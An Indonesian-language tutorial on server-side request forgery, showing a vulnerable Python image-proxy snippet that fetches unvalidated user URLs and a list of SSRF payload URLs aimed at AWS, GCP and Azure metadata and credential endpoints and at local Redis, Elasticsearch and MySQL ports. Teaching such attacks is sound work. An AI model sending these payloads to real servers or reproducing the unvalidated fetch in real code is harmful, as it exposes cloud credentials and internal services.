SSRF: bagaimana penyerang memaksa server mengirim request ke lokasi internal. Cloud metadata attack, bypass localhost, blind SSRF.
Server-Side Request Forgery (SSRF) adalah kerentanan yang memungkinkan penyerang memaksa server aplikasi mengirim request HTTP ke lokasi yang dipilih penyerang. Target bisa berupa server internal, cloud metadata service, atau layanan yang hanya bisa diakses dari dalam jaringan (localhost/127.0.0.1).
Aplikasi web sering mengambil data dari URL eksternal: image proxy, webhook, file import, atau URL preview. Jika input URL dari pengguna tidak divalidasi, penyerang bisa mengarahkan request ke internal network.
# Aplikasi image proxy
url = request.get("url")
response = requests.get(url) # request ke URL dari user
return response.contentPenyerang mengirim ?url=http://169.254.169.254/latest/meta-data/ - dan server mengakses AWS metadata service yang mengembalikan kredensial instance!
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
http://metadata.google.internal/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01http://localhost:8080/admin
http://127.0.0.1:6379/ (Redis)
http://localhost:9200/ (Elasticsearch)
http://127.0.0.1:3306/ (MySQL)